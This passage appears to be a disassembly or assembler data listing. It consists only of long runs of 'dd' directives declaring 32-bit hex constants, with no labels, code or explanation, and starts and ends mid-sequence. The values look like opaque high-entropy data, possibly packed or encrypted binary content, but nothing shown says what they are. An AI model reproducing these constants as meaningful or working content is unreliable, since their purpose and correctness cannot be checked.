3F54B000h, 75877693h, 4C6907D1h dd 40DCDB43h, 6738B919h, 0E1791800h, 565B6124h, 0DD893CE4h dd 0F13CF800h, 96C1F42h, 0AE78FFFEh, 0CFD94A1Fh, 7AF80D40h dd 3BD7EE6h, 9931CC97h, 28001258h, 1E5F36E0h, 84DD92h dd 2CD1F3D7h, 961CE946h, 0F171D02h, 80806824h, 5C0BA06Ch dd 97ED005Fh, 41FE2118h, 0A10FA54Bh, 407C9805h, 0B24780BAh dd 4F2E00D2h, 0CD5769CFh, 0D100CB8Ah, 4B9385Bh, 0B05620E5h dd 4BCF0094h, 0CCBB018Bh, 0E400595Ah, 0EFE56B4Fh, 7C5062C3h dd 0FAEAF9h, 0B6BFE39Eh, 1A8BC1A9h, 7F542100h, 0BC703815h dd 90D600D0h, 4089DA06h, 0D3C634Dh, 0EA579F12h, 0E438F800h dd 0E92018Ch, 1E49E98Bh, 0EF7BA400h, 0E105BFB8h, 0B28C42A2h dd 0FE18A900h, 59F988h, 0B2AF49Bh, 6BB554E6h, 0EC2474E2h dd 2B940CB8h, 1EE800C8h, 0A1EA6CDEh, 254B00C5h, 94A778F0h dd 3C016551h, 0EEAE2461h, 0BC216B9Dh, 0B03D97ECh, 30DA1F8Ah dd 0F6A68077h, 0C654403Ch, 0D311B50Fh, 0C50AE0CAh, 0B2F9F26h dd 72DF8318h, 9E544700h, 1201FCB8h, 0ACE1C496h, 0B9D46F9Ah dd 19BB017Bh, 0ECEA93D0h, 0A9908040h, 8ACA18D4h, 2E37EAB7h dd 2117FC4Bh, 0DC1A0FECh, 40A8AD20h, 81609764h, 9ADFA9D8h dd 52630C6Bh, 8F1BFDDh, 25322100h, 8BFCD30Fh, 0C08903Fh dd 1CF31E8Ch, 78289960h, 14102C54h, 3B10E3B9h, 0BE16827Dh dd 58A09CBh, 8E583028h, 0D6081D2Eh, 41406FFCh, 2DD7E1Fh dd 0BA3418F4h, 642DFC04h, 1220CC7Fh, 57806594h, 0B2FE445Eh dd 211F0E20h, 0D30C8AE3h, 4210B1BFh, 677C0818h, 6DA308A5h dd 626FC641h, 41653301h, 84584A2Ch, 240947B1h, 180D1349h dd 0B0A0DE58h, 6093CAEh, 0E650D060h, 4CE3FF21h, 8400A8A3h dd 4EACF25Eh, 7C5017B2h, 4002EDB1h, 0FDFC6CFAh, 0AD9480BAh dd 3CB726ABh, 80E029C9h, 8B8FE634h, 18607EECh, 6230E770h dd 1A6C005Ah, 0ADE4FA48h, 950F60C1h, 96911556h, 7218E302h dd 0DA880F4h, 0A19B8Eh, 0ACBD8122h, 8A7BCA5Dh, 0CF3F20h dd 4E6B951Fh, 0CD351633h, 0E457C700h, 0BAEAA6FBh, 0D5061E05h dd 0C0507F7Ch, 806D0C8Fh, 4CAE4DF7h, 6476B201h, 501728E3h dd 0FD54802Eh, 0C0A19368h, 8EF2CCABh, 37D00503h, 0B00742C0h dd 1629666h, 0D5553D1Ah, 5040B90Ah, 6C63CCACh, 0FA7B6400h dd 0CBA42B79h, 692F3119h, 604CE221h, 0C2018CABh, 1B9FC991h dd 2040F06Ah, 34ACE2h, 7D646F74h, 0F443AE8Fh, 0D0C9A73Eh dd 4B0081A8h, 1D18AC06h, 0B0148C4h, 12E64AEAh, 1504CF80h dd 0DF00C033h, 135329A0h, 7CD440E0h, 49CEF292h, 62704CF2h dd 0EBD3713Fh, 0DF00DD56h, 8BDEFD37h, 4840E5AFh, 3B70F55Fh dd 0EA804D55h, 0C8E146BFh, 0C6008712h, 0E211596Dh, 7E61872h dd 0E7025195h, 0AE4AE104h, 98C034B1h, 30AB6B24h, 8CC598B9h dd 0CD8A18h, 5F69D38Fh, 98F7B06Ch, 2A5E8907h, 0E9A09F79h dd 1B8C8Ah, 7B44962Dh, 9CC0C531h, 0E5671D0Fh, 35C38019h dd 7D3A1ADh, 0F48C9D41h, 0D8B6503Dh, 510A9C70h, 9EA898BFh dd 0EA66AB01h, 0C0FB7FA9h, 0C3F63DAFh, 0B7BB0E98h, 74A71000h dd 0D7687106h, 6C6F06Eh, 0ADA55517h, 1A0038F0h, 0E4480A5Bh dd 74BBDFh, 0EB4696Ah, 0EC13A05Ah, 5F756000h, 99076259h dd 4A453D40h, 179E0600h, 0C1CAD619h, 0C950AD00h, 0CD1A330Ch dd 91B100C8h, 8D84B50Eh, 6901F061h, 7365FDB3h, 25DC2A31h dd 0E377137Eh, 172D00B6h, 1DAD09CEh, 6600A498h, 0C30735A6h dd 60CD67C5h, 29842004h, 0B200BD9Fh, 26E8FCA4h, 0CC943Ch dd 138E03AFh, 4A14F4FEh, 0CC37300h, 18E7F7E8h, 0E6793032h dd 0E08E6B40h, 20DAB800h, 0BFB917Bh, 5EE71D4Ch, 309AC343h dd 4E7193D6h, 9B5BDE00h, 0A1D7B09Eh, 94E62F52h, 0A50083FCh dd 2A07BD3h, 2BEA00FCh, 35652669h, 0CB00F862h, 9E123725h dd 0E2ADAC9h, 0EC0FE5F9h, 7004F4E7h, 0AA7C2653h, 0DAE6BF03h dd 808B5F96h, 0D5220Eh, 0D4EA0CADh, 8E27DE0h, 0B803CD01h dd 0E49CDFA7h, 5CCF9DE8h, 0B6007B2Bh, 280C472h, 0F2049F86h dd 653498C7h, 4FB4AB80h, 1417464h, 890F3623h, 0D4E2C7F3h dd 0B97C31E7h, 0BA9061F0h, 0BB00A5EEh, 0E388CE7Ah, 591432h dd 0DBAAB43Fh, 427CBDEBh, 0D0955700h, 804AD87Bh, 45D1005Ch dd 0E34EA6C0h, 0F17A02ACh, 7117F21Dh, 42517780h, 5919F4h dd 0EFB3DF32h, 0CE69BEDEh, 0F79FB100h, 824E204Bh, 0EAFE005Ch dd 76D15B0Ah, 400BB23h, 507880C1h, 1E5F2C7Dh, 0E7F641h dd 63898625h, 0AE00EFF2h, 0B4C79CBFh, 1F66D164h, 0F954FFh dd 0AA08493Ah, 29005C76h, 0F3A6D2C7h, 7D46EAh, 118D18F7h dd 591566D4h, 9FE1C600h, 6719F3A7h, 0D94950D9h, 0E750C078h dd 4F5136ABh, 6C15EB0Eh dd 1BD68054h, 31F985C2h, 0CE98327Ah, 3000D362h, 0A8A4FDBAh dd 93858Ch, 399617AAh, 0B8219425h, 0FB2C1B00h, 0C67688BAh dd 0E98C07CFh, 0F0A102A9h, 0C7E0FA42h, 94B34700h, 1D16C4F1h dd 256F852h, 7F43DC4Fh, 3EC03B1Ch, 120C892Ch, 18D5DB3Dh dd 80DE7488h, 0F974A8B7h, 0AF0F97EAh, 8613D958h, 20DB18h dd 60E27FA5h, 0E770F379h, 0FD37E1Eh, 52C013DEh, 0C5B85AEFh dd 0D9080235h, 1F7E6BDAh, 0FF510040h, 0B9C97900h, 0A6A0E5CAh dd 0E3D30734h, 7721F8CBh, 0D041D086h, 100494Eh, 0B0D33AEh dd 0D35F6Ah, 7CFF326Dh, 0BF6C9320h, 483A28C4h, 30346E00h dd 641218B6h, 4D0329D7h, 0F050DA56h, 2F5D3Ah, 0B64C937Fh dd 58E9159Ah, 0C8BD3D00h, 0D12AC726h, 0E56F1C57h, 37A28162h dd 0DC9DEAC3h, 9B7C0C63h, 0C84D8D07h, 0FEC097D1h, 549E2Ch dd 0F3B7F5E7h, 0D719C71Fh, 0DD50BB00h, 9194F4F8h, 0EC74B5h dd 80C20510h, 0D80937DEh, 0D900E5F6h, 7AC4D5Eh, 7918D6A2h dd 0BF8A01EDh, 284FEF11h, 7A60F285h, 0A00AFB1h, 0DFBDA643h dd 18B1C62h, 0BF1E953h, 0F05A31A7h, 56010C86h, 0DA4B2CE3h dd 1E8C58B5h, 0E12AEA05h, 46AF8500h, 47323EC1h, 228D0173h dd 0E71F968h, 24C440D9h, 7600BBCAh, 0AD1D6901h, 0BE875E1h dd 0B2D5478Ch, 2610B280h, 6F007706h, 89CDF053h, 30AE7Ch dd 0A2145C09h, 0C0495091h, 0B9D08F00h, 0D6183E12h, 0B0BE0441h dd 0C0E7366Ah, 7B268CDAh, 0FC0015FEh, 538DAEFEh, 0AC51AAh dd 0C9A9562Ah, 0E49D83EDh, 0D9C58700h, 8838EE8Eh, 0AEB70E1Dh dd 0F92761F0h, 0A95D108Ch, 693F788Fh, 88FE80C6h, 0D5B3C2B5h dd 73E09B6h, 3020332Fh, 2C44A918h, 8101103h, 0D0DF0AF7h dd 0F6B6D41Eh, 7998000Fh, 0CA99F22h, 81006234h, 511315CAh dd 0FA3E9B4Bh, 6B050784h, 70E0F71Bh, 0A30EBEFFh, 68283F00h dd 0D315FD55h, 73980EA2h, 83C0CC41h, 7EC6393Eh, 0D97D3Fh dd 91BB866Eh, 798F9D22h, 526C00A2h, 29898CE2h, 86002FD6h dd 4D7C761Ch, 0F625E61Dh, 0A18800DDh, 558397F6h, 460034DEh dd 0F13D8641h, 79FACA5h, 378BFBBCh, 913FA033h, 264CA4ECh dd 6CF2146Ah, 0B6C400EAh, 9F1DDB29h, 8F4E3A54h, 1B239200h dd 70338D5Eh, 0C279C60Eh, 0F0807C6Bh, 0B2A2F7FDh, 1DBD006Dh dd 3696F695h, 16000559h, 329AEE33h, 74106F0Eh, 0B04F5086h dd 0F0D700FAh, 1A380993h, 0AFC3CD9h, 51755F1Ch, 117D9DC0h dd 33720C54h, 39CC2D09h, 73E300B7h, 0DC00B2C0h, 16433A2Ch dd 3B9EEEA4h, 0EF0FC8C6h, 0B8604FA2h, 6CF6F24h, 8A774D17h dd 9A548B00h, 0FA239Bh, 0B1AB2045h, 0D3240D6Ah, 90C6100h dd 0B350D51Ch, 62781Eh, 752879E9h, 8AF9B833h, 0A58B2A1Dh dd 0C97821C2h, 5AF4E0A6h, 0E4BEB0F6h, 4BAB0032h, 0AE1CAAFCh dd 4000EBF5h, 6E57B636h, 6D0973h, 0B9015D88h, 6149320Bh dd 9AE0E6F6h, 5085E303h, 0C8872168h, 720B90Eh, 79F8CEC9h dd 0AA64605Bh, 8900444Bh, 930C8032h, 7A768523h, 0FA500E8h dd 8E372CAh, 0A7139D96h, 980077F6h, 81394D02h, 334B3B8Eh dd 93A92280h, 0B61C7332h, 42D85100h, 0B8F77C2Eh, 71956030h dd 0A8DC2750h, 181C6106h, 0E0B08675h, 12D33F73h, 1771D081h dd 0C1097E57h, 0B0E0EA6Ch, 0ED00C67Dh, 0F8B9B4B2h, 2CF8FBCh dd 0F0919AEAh, 1A60F4D4h, 4D010978h, 8D462F11h, 0EBCC158Eh dd 8AB8009Eh, 0D6C71B38h, 9B0EA4BAh, 6FBBCDB1h, 0B6403D3Ah dd 370F6559h, 27271AEh, 0DA7CEE5Eh, 0C480238Ah, 0D91C2A74h dd 0F6AE5100h, 9E246E80h, 0E0E700E3h, 0C3F5A129h, 0CE00A82Dh dd 0BBB52853h, 24DEC0h, 9273B7F9h, 8EEB2BE3h, 0D4DAF60Fh dd 1ABF8439h, 11EF0080h, 0FEF30001h, 4D20C9D1h, 0BAB04971h dd 2076C7Ah, 15C3745Ch, 340A8850h, 91BA00CAh, 14EFEB76h dd 0B100F0B7h, 1DC33F52h, 7AF9F150h, 0D19A00CBh, 33402D02h dd 0BF07AF54h, 0A296204Ch, 2A93AA00h, 6475039Eh, 1F82E055h dd 77E38600h, 8170CC2Fh, 0DBC000E8h, 0D46B5E80h, 88006A68h dd 0CC994154h, 481385E9h, 620356D3h, 91F48F92h, 190CC8C0h dd 0C93B31FCh, 1C4124EAh, 0F4D7E600h, 0BCB7E81h, 4A73752h dd 53F55800h, 1A00D047h, 0FDAC8283h, 0CAC87Ah, 0B524D35Ah dd 50BF499Eh, 4C63111Eh, 918C0E40h, 3BE0CEF9h, 0F00C127h dd 4D43BBF3h, 0D00599EDh, 0C224D22Ch, 0A9ED80FFh, 0AB0029FFh dd 0DB668AE6h, 3ADAF4C6h, 3D807C06h, 0AF3AF681h, 0D11F87B9h dd 0E7404271h, 2CBC163h, 4EE61D82h, 0A857004Dh, 5A18DE46h dd 0CDA18B00h, 17499B8h, 52FA3FCFh, 8DC77E83h, 0FFFCCAh dd 0B8308A7Fh, 0E19B311Dh, 2C5109h, 0ABC14120h, 81D100DDh dd 20795FEEh, 27005615h, 3A42F74h, 0FC1E92DFh, 0C23B1CBAh dd 89D5DDA7h, 0D000DA6Fh, 91246A4h, 82DBAE00h, 0BFDC21BEh dd 2DE0F952h, 0AA4E07C5h, 83A728C4h, 3BC0B4FDh, 10C02445h dd 4A357D0Dh, 5C50B86Fh, 0D10002A1h, 0F31E4D60h, 0E8006D80h dd 0AD8E7ECFh, 35A2B1h, 824CC240h, 90C5D288h, 0A6C1100h dd 6AD3F28Fh, 0E4E790E7h, 0B4A23097h, 0A7BE7348h, 4CD12620h dd 3B00BC75h, 7D0CDD2Bh, 0EB3BD5A8h, 12138773h, 80002A0Eh dd 9D6BBAh, 454DB643h, 0CB8975A3h, 0DC00B071h, 32E2EF64h dd 447324h, 7683927Dh, 55EE3EFEh, 6829AC00h, 59C7251Dh dd 26E4B7h, 0F67AA8EAh, 0F8BE2C01h, 0CD707407h, 72439A99h dd 0D4200027h, 4BA65791h, 8B26DA87h, 0F3E504Fh, 0AEE1DD5Ah dd 0C5B5038Ah, 0C29F8054h, 0FBED002Dh, 0A1F047BAh, 9E1FFA21h dd 761ECAE1h, 14D7BD40h, 600882BBh, 17026025h, 3B09B00Bh dd 9EFC81Fh, 70B7806Ah, 0F54DE4h, 62C01ACBh, 81D247BDh dd 3F3E3600h, 0B8EE12DBh, 3CB307A9h, 0E14EA180h, 805BCAE0h dd 0D78C41D9h, 0E89D5574h, 83AF00BAh, 1DF5CAC4h, 29037268h dd 0F71AD82Dh, 0B838006Ah, 3FDA4AE2h, 140034ACh, 0CAB9D53h dd 39EF3E69h, 0E61D1F60h, 0D2C2C0E1h, 5BDC738Ch, 0FCB6ED00h dd 6A5F5DD9h, 90180023h, 0B9043040h, 810E280Dh, 60E2DB60h dd 0BE8FD9BFh, 0FA5900E9h, 2CD7016Bh, 0FF3A934Ah, 0BE70E2Bh dd 0DA35C071h, 715D033h, 9C64B48Eh, 0F274A1F7h, 0D0C4C14Bh dd 1600A759h, 29A8B9C3h, 7169D431h, 236826D8h, 0C07E0778h dd 0AAFF4090h, 0DC006A08h, 7AE22ECDh, 7A131A39h, 234E0011h dd 905DED8Eh, 0CAE8FC7Eh, 0A508FD00h, 0F1EC8C60h, 18E400E2h dd 19922150h, 317B0FAFh, 146C7C00h, 99C2021Bh, 63BC1ED2h dd 82CB4033h, 19DB960Bh, 7420F800h, 56C74D51h, 14D60E36h dd 0DF806375h, 25285024h, 0DAED9600h, 0DB12E41Dh, 4AFC9Ah dd 19C8776Ah, 0DE95C116h, 22A4AA00h, 0B8FF348Fh, 75420055h dd 0F6DC4F7Fh, 40C0E006h, 9FEB7C31h, 403A0052h, 9AE456CDh dd 9004ECEh, 2CC96327h, 19D2FEh, 1C4131F6h, 5F2985A3h dd 3C1F7B00h, 4BB4D45Bh, 0B66E009Eh, 8583617Dh, 74009DE2h dd 26EEF236h, 3240A2h, 710CB9A6h, 0DD32848h, 2D335701h dd 149ABFB5h, 52A6D4h, 1BDCC8E1h, 302996CAh, 0A3FDD500h dd 23AA8C98h, 2E3C0065h, 385142F2h, 760EDA7Ah, 0E0D693D3h dd 0E51BE485h, 0BCB73B5Eh, 0D539CB06h, 0F000D0C8h, 0AD242EF1h dd 37D122h, 432602B2h, 0B74E301h, 80CA7800h, 0CD28FBC3h dd 38D903FDh, 0B2DE0D62h, 0D575D8B1h, 8953CC32h, 0EC06B400h dd 2BD51AA1h, 0C07A00CFh dd 3749D6B9h, 0E600E104h, 728099FCh, 0BC303Dh, 9740D1B7h dd 36912131h, 1BC96400h, 734A8AA7h, 0BD50AD2h, 7020C47Ah dd 8621FDAEh, 475C0074h, 3D84A923h, 1E1088C1h, 50809CD6h dd 856DB72Dh, 0CBF82EDBh, 3671D00h, 6F43045h, 883F63CDh dd 59D8BE8Ah, 3800E34Ah, 708D4C0Ch, 0E875D952h, 4420343h dd 9E724BF4h, 0E0610C91h, 606028E9h, 0D7BBFAA0h, 3D700044h dd 13A2501Eh, 3503DFFFh, 6588710Dh, 10280011h, 92577E3Ah dd 0EA14DDC6h, 6A4DEE2h, 358BC2D4h, 0A2CB0058h, 745D53B0h dd 0C10FFC4Dh, 0C74A8029h, 0E0001B02h, 51F6A91Ah, 8A60805Bh dd 0E5090CA0h, 777856DFh, 2AC2D915h, 5EC08080h, 8D166046h dd 0B1E8E087h, 0F072A6h, 0FC4FA529h, 0C089EB55h, 97167B07h dd 0D7522E1Ah, 0E3E54086h, 0F946007Ah, 20D8D98h, 45F85B9Eh dd 0C031C900h, 0E3D5D942h, 26F90575h, 82D7EA3Dh, 81F5D448h dd 6A86DCB2h, 60DEB042h, 14A943DAh, 20463832h, 33B17EA0h dd 30506E42h, 0CB270F0Dh, 91E2DED9h, 11409390h, 3D00B369h dd 0AE120463h, 2DF988Fh, 669B37E6h, 0A2605A13h, 5004688h dd 6D202CE1h, 0CAFF9Eh, 0F4F351E8h, 319895B5h, 4360A100h dd 0A79B2363h, 0C030DE73h, 8B56ADF3h, 0B0032AA6h, 7853E95Dh dd 364BD8D5h, 38EA16E8h, 0FB0E00FDh, 7E841109h, 54911400h dd 0A6E5610Ah, 89C701CEh, 87E60263h, 0B8260E2h, 2A00A5FCh dd 0DE8E7C70h, 0EC3CE8CEh, 16B900F6h, 845B0C89h, 860256C2h dd 0DF69F0F5h, 61544017h, 9A740070h, 8AE514Ah, 0E000289h dd 0B00F3039h, 3995A658h, 6FBE1DEBh, 803F9A00h, 0FC1EF29Bh dd 74DB4A06h, 3B4839A0h, 0E000F78Fh, 6331DC15h, 3E005EF8h dd 0B598DB9Fh, 3725F9Ch, 1D841C8Bh, 0B08961A0h, 0F7842018h dd 0F3D1A500h, 6B820672h, 323C00AAh, 98140CD9h, 9B00C7ADh dd 5E205ABBh, 0CADB54h, 58720393h, 0D395B9BFh, 485FAD07h dd 4B21117Dh, 46203F88h, 0DDBE122Eh, 836F015Bh, 0C0ECCB34h dd 6D006BD0h, 0ADA2353Ah, 0E445FFh, 1D743789h, 0F5BCFD9h dd 26170800h, 66EDADBFh, 0C8840CFBh, 525005D5h, 9038838h dd 80CFD8A4h, 0ED846636h, 0B6FB0032h, 35CE92BFh, 20005BE8h dd 296FDA8Dh, 143B3Dh, 9B59051h, 16CDB763h, 8DF37302h dd 0C006A1DDh, 1B30A35Bh, 0EB85BCEh, 9F244000h, 0D97B4EB5h dd 0B19003EBh, 75CA86CFh, 0BE2044A0h, 509FFE00h, 0B8F4DDBDh dd 0A790007Ah, 3DB189E7h, 34003B13h, 7C57D777h, 0D8035CCh dd 8C0F989Ah, 1182FC60h, 0BB382D03h, 0D897B495h, 1CF3DC86h dd 41192335h, 79E733DFh, 0DDFFF0E3h, 9854F7E2h, 367E0184h dd 1DA53300h, 0E663FC81h, 0E5F80095h, 87288ABDh, 0AA4AEBB0h dd 0A4DDC880h, 0C85A002Dh, 97239AA9h, 4A00B365h, 0BF10F46Dh dd 0B8CB0Ah, 4B94E6D8h, 729B1EA1h, 0B0849754h, 0BA1B0B02h dd 0C0053C0Ah, 1CDAB5BFh, 0E891625Ch, 73120084h, 0BBE3E97Dh dd 0BC503969h, 60E659Ah, 0C0D702BDh, 35588E7Eh, 0F32C38B7h dd 981D7218h, 8102E127h, 3F795716h, 0AD8AE0A0h, 0A811716Fh dd 3D55E694h, 26029B59h, 0A73E5D81h, 2E904543h, 3500ADCAh dd 23C2BB04h, 2C9795h, 81F61ED6h, 0FCC81B40h, 703E9800h dd 339ACAA0h, 85AE000Eh, 2F926EABh, 0C600EAE3h, 3BEB7529h dd 6194069h, 566BD4D5h, 4C2B18B1h, 0F604C6h, 58A0ADDEh dd 744799AAh, 68013E00h, 0B1777053h, 0B89539D5h, 0C64F1Fh dd 2AD26086h, 0F2F65540h, 43574E1Ch, 3D463E82h, 2934B428h dd 584C283Bh, 183E8438h, 72D500A9h, 0E95CAC46h, 0EA660043h dd 590A6B16h, 0B2805BBh, 0D6080C99h, 25B0218h, 95DA46D1h dd 8159A202h, 0E7ABB118h, 3E189A12h, 19E8620Ch, 188058EEh dd 9481A8FCh, 61735280h, 0EB4E190Bh, 4C461082h, 7449CA01h dd 0C4A9530h, 54529114h, 2450F63Ch, 0DE0CA98Dh, 0A0AA4852h dd 0B088224h, 130A8F59h, 283F18A5h, 78112417h, 0A87DE6EEh dd 0A19F5D48h, 0C517E18h, 30419B14h, 0DD0824BAh, 0E0C9650h dd 26141B42h, 0F284B447h, 1999004Ch, 0F73738D8h, 40714F01h dd 3991FC0Ch, 0C08F7388h, 0F8049F48h, 324CF01h, 0A380001Dh dd 0C21845F0h, 577E9Ch, 0E965E7E2h, 26FF40ECh, 94470800h dd 2F41E169h, 6C6A0110h, 0BB758346h, 6224204Ah, 218CBF0Ch dd 1445A07Fh, 8C1A3C4Ch, 184AD62Ch, 0D3E31849h, 21C2EE00h dd 0E6673FB4h, 0F16B0A80h, 3501DADh, 19CD3796h, 68CBF680h dd 0ABAF4C00h, 827E001h, 90121E20h, 0DC554140h, 0D25BBE7Eh dd 0F083B6E2h, 94AC4B9Ah, 111C7C8Ch, 5148D38h, 6722B624h dd 4FABE440h, 6DD8BFAh, 9269B056h, 9C07508Dh, 0F2A2A47Bh dd 1565AB90h, 96080009h, 5CE32DFCh, 0AF01B157h, 0A4195378h dd 64854FC2h, 0F442F15h, 0BF0154C8h, 20CFFA69h, 7601AABCh dd 6373088Ah, 14411C5Eh, 0A2CC7F26h, 0AC112850h, 53F90534h dd 0EF1C33E6h, 0C88F8CC3h, 507DE5EEh, 3DD0C071h, 6700816Dh dd 7AEBB44Ch, 0F3001BE6h, 80E41607h, 3A52FA83h, 0A08CA68Eh dd 77B89A54h, 7E007048h, 499CA100h, 0E7E7527h, 0CCE600C1h dd 345462FEh, 8130E5C3h, 1B3B684Fh, 0CDCA01B8h, 7526E3D1h dd 0C71C3016h, 0D17B8330h, 0A855FD5h, 13CFAC6Bh, 44FDE040h dd 9C00F099h, 0FF5798E1h, 54B4CCh, 1A7A69DDh, 8784DA32h dd 701BE300h, 7CF2B9A2h, 764E069Ch, 0A8455A73h, 0E756C41Eh dd 20844C1Eh, 0F0C065B9h, 186BD8E5h, 18FFE1B0h, 847C3F15h dd 0F2B62B00h, 0C9F7DBD0h, 4E3E0BA3h, 0C10E1C6h, 47F8F92Bh dd 168A548h, 7B05F479h, 0EAD0BF6Dh, 0E194A8ABh, 8468D1C2h dd 76C3A281h, 805ED58Dh, 81044C98h, 97FD207h, 2D6DAC24h dd 0F036B427h, 0F3BDFAA3h, 66689E62h, 277C4415h, 0DBFE35BBh dd 6F009516h, 52CC800Ch, 0EB904C8h, 8194848Eh, 51CBCA48h dd 20878388h, 0DF01C948h, 3EBFFC28h, 0F092206Dh, 40521BE5h dd 8AEC60E7h, 13021587h, 0AC7D9E71h, 8B544027h, 1E4C9060h dd 3E0C452Ah, 4F55E001h, 87CA1850h, 3AF4738Eh, 0B543863Eh dd 9E7E0078h, 5232235Bh, 5700642Ah, 5F5AE1B2h, 5268AFA1h dd 1B18D8AAh, 0ABEEA074h, 70934D26h, 0F50308A4h, 0E8959BDEh dd 12C97DE1h, 0F14FBD5h, 0BA8F8F74h, 9400712Bh, 0B1559F21h dd 801B7901h, 9CA2EBDCh, 0B8EDDF40h, 0E0AF029Ah, 1617322Ch dd 30305362h, 2842CA1Fh, 1E865785h, 100384E8h, 0C5A40156h dd 70836689h, 30D0DDDCh, 0D600307Dh, 878C1BF2h, 7F055F02h dd 373E24B9h, 0E72088h, 1FE5ED15h, 5AD8AACDh, 2645ECE9h dd 0C571D4h, 0C5F122DEh, 59DD7E6h, 0A5DA05A4h, 23C09024h dd 0B9300BDCh, 426D504Ah, 68F90144h, 0A23E92EEh, 335ED5F7h dd 96D61C24h, 4D3D0940h, 407024h, 0CD55E3C1h, 0FC300ED3h dd 99E2B003h, 98CE59A5h, 136D5014h, 383E8D83h, 517D2A8Ch dd 0E8EB3689h, 4991E2BDh, 41C0504Fh, 0FB6D5867h, 585D7926h dd 0C3B7F860h, 0A79B1ED8h, 0A0FCC082h, 2B9EBB67h, 574DB302h dd 484BE03Dh, 0E038CFC4h, 623900C4h, 0CEFA9379h, 9F05F6BCh dd 706DC2C0h, 3CC8488Dh, 505500A0h, 18D74652h, 4B8DE0Bh dd 0FDB41F1Bh, 0AED00650h, 0B04E3F87h, 6472D681h, 0ED2C5124h dd 0F6876045h, 711090FAh, 5DAB19h, 8D86D49Ch, 566D9A95h dd 1C43D800h, 4A2F5928h, 2F6007Fh, 9AA20F85h, 0F400E165h dd 0E448557Ch, 0EE357484h dd 46B6063Ch, 304BE701h, 58899A7Dh, 596230h, 4EE85D8Dh dd 922EFC22h, 185A58D4h, 32280629h, 3F0EFCB1h, 6CB9B516h dd 8FCC7100h, 0F12B85F2h, 41B2D4E1h, 0D0FB5E1Fh, 0BDF34031h dd 9A9D98F7h, 3D807825h, 74B4F215h, 0CD080461h, 26B8308Fh dd 2FA0046h, 49AAB7B0h, 0E1E8BF07h, 0D9A29065h, 1F4A15C1h dd 722A43C4h, 0F827905h, 0A8A241C5h, 8D664BA0h, 0CE00379Ah dd 890FA77Fh, 0D1CB7179h, 28000469h, 8A20C112h, 0C27C493Ch dd 0E5504005h, 0A0004D94h, 5D1468FEh, 0BF2001C7h, 2130A964h dd 70C082B2h, 81EF72BBh, 6C829A8Ch, 0C94530h, 0F219DF60h dd 0C1489B88h, 13FEAE00h, 0FBFDAD5Fh, 43D903A0h, 0C6C34EFAh dd 46F98801h, 9E2D048Ah, 7620C850h, 405D07AAh, 0D8A066C0h dd 20F9C68Fh, 261C5ACDh, 338EF4E0h, 0E23831C8h, 0C180C5D8h dd 86CB7D00h, 6855BC37h, 1DD3304Dh, 49831251h, 82012BB0h dd 0C278F99Bh, 0C0D7535Eh, 0A968F47h, 0FEF64AA7h, 30D214B6h dd 0B1CA9D86h, 48A02EFEh, 171F9C37h, 2A8EC746h, 20FCA948h dd 78E31E2Ch, 42D41838h, 0E943898h, 0A0BADD37h, 80275285h dd 8A111850h, 43F0005Dh, 3E41CD5Fh, 821F40C9h, 9109A98Ch dd 0CB5C0007h, 0A358B0h, 0B2EA7AD3h, 0AE8462E6h, 4D923100h dd 24DB2C43h, 60740952h, 2C8A7E07h, 202B003Ch, 0D2AE9890h dd 46B55A00h, 0FFC139E4h, 28358091h, 81ADAA02h, 8018AF83h dd 7A5DA4C3h, 714C1EF6h, 0CE664194h, 0F0A5D1E3h, 3F070CE9h dd 0D8916180h, 341F9CC5h, 0AEC49000h, 44023DB2h, 2F40A248h dd 798800D9h, 3523C79Fh, 0C8C0DB70h, 5F3D602Ah, 94274990h dd 6E159A4Ch, 8600B456h, 8DEB2481h, 0E5004127h, 0D0237267h dd 7394CBF7h, 0A4CF50A7h, 87201E1Fh, 0BAE34073h, 6621C48Dh dd 0AADA9512h, 3FB6FC00h, 0F3DEDC5h, 21E7BB2h, 0AFE848CCh dd 0CB546071h, 9075EF64h, 54997C14h, 80FBC898h, 0CD900F24h dd 0E006C42h, 0B0FAFE19h, 39F539DFh, 0D61B6BA4h, 681259AAh dd 6840E545h, 970426C7h, 0F9BE28BBh, 71520E96h, 0E6437C15h dd 6D0633Dh, 0B3F41D45h, 368D9300h, 0A426E82Eh, 949028h dd 669D434Fh, 0EA0A808h, 272ABF00h, 0DF89F7Fh, 874D00ADh dd 934A891Ch, 0D80143E9h, 0B0B384F3h, 9DE51660h, 1F42FCCh dd 0F59A25EBh, 0CC280CE0h, 75059BB8h, 0B657973Eh, 3107D480h dd 9308006Bh, 0DD44F480h, 0B205F6E4h, 0B19ECF12h, 86FA0440h dd 0D1F3A742h, 0A1BD0C20h, 93E03009h, 3C4EC019h, 0A9F558Bh dd 14C70017h, 789C8998h, 19460830h, 890FF53Ah, 11940079h dd 9EE50185h, 0AAA104B0h, 106EE538h, 4015EEADh, 0D103106h dd 50788196h, 22FC189Dh, 9545E33h, 0C6220824h, 183D546Dh dd 0CC151A7h, 256E18F6h, 0F35924A0h, 502DB144h, 0A9CD0C34h dd 0C502C18h, 88B30D41h, 20842FBBh, 4503FB95h, 0B60EAE31h dd 868BB8BFh, 856EEFEh, 3D240CEBh, 1DDB803Eh, 0DE327EF9h dd 0C60A5C9Eh, 3D19C000h, 4CFE9A07h, 1AC95A01h, 22B33F54h dd 80483980h, 13104A78h, 0AD4B6600h, 0B7BBF184h, 93C10755h dd 0C0736156h, 0BAAB99C9h, 9E506477h, 6D0065C5h, 0FA03F6B9h dd 6A230h, 29F13E2h, 8EBF3949h, 2F7EBE01h, 1FC23583h, 0A49D26D0h dd 73D43A4Ch, 5E881030h, 0C3586431h, 394A0E6Fh, 0B434C5h dd 269FFD13h, 2CBC91h, 0DE25D21Ch, 20648C56h, 5F338B00h dd 0D4E6874Ch, 2F702Bh, 8845694Eh, 0A9C9BA86h, 81C8256h dd 70342EEEh, 4500F4FBh, 83F5B140h, 5047A77Dh, 1530C1EDh dd 0C0BAA120h, 2315B9F0h, 84F2DE00h, 0ED220709h, 6045FACDh dd 4E432919h, 0AF006968h, 5F21BEFh, 78F3B1h, 7B81C632h dd 9FC8469Eh, 5C36EB29h, 0D6EAD580h, 7AA60Ch, 4BD9594Ah dd 4D64AE0Bh, 893D6F03h, 0B849CA16h, 7FC2F3BEh, 5D1B0713h dd 0A0063A08h, 1879EA38h, 0E4AD88C0h, 0D5EC0E81h, 840010D2h dd 4AB7777Dh, 254028BEh, 0DA091029h, 7060AB9h, 0F20588CBh dd 583A3A78h, 0DD29FA08h, 804C87D4h, 0D21A5C1Bh, 20EC27C3h dd 0E1D7E900h, 54182E29h, 99C0000Eh, 0EFA1F006h, 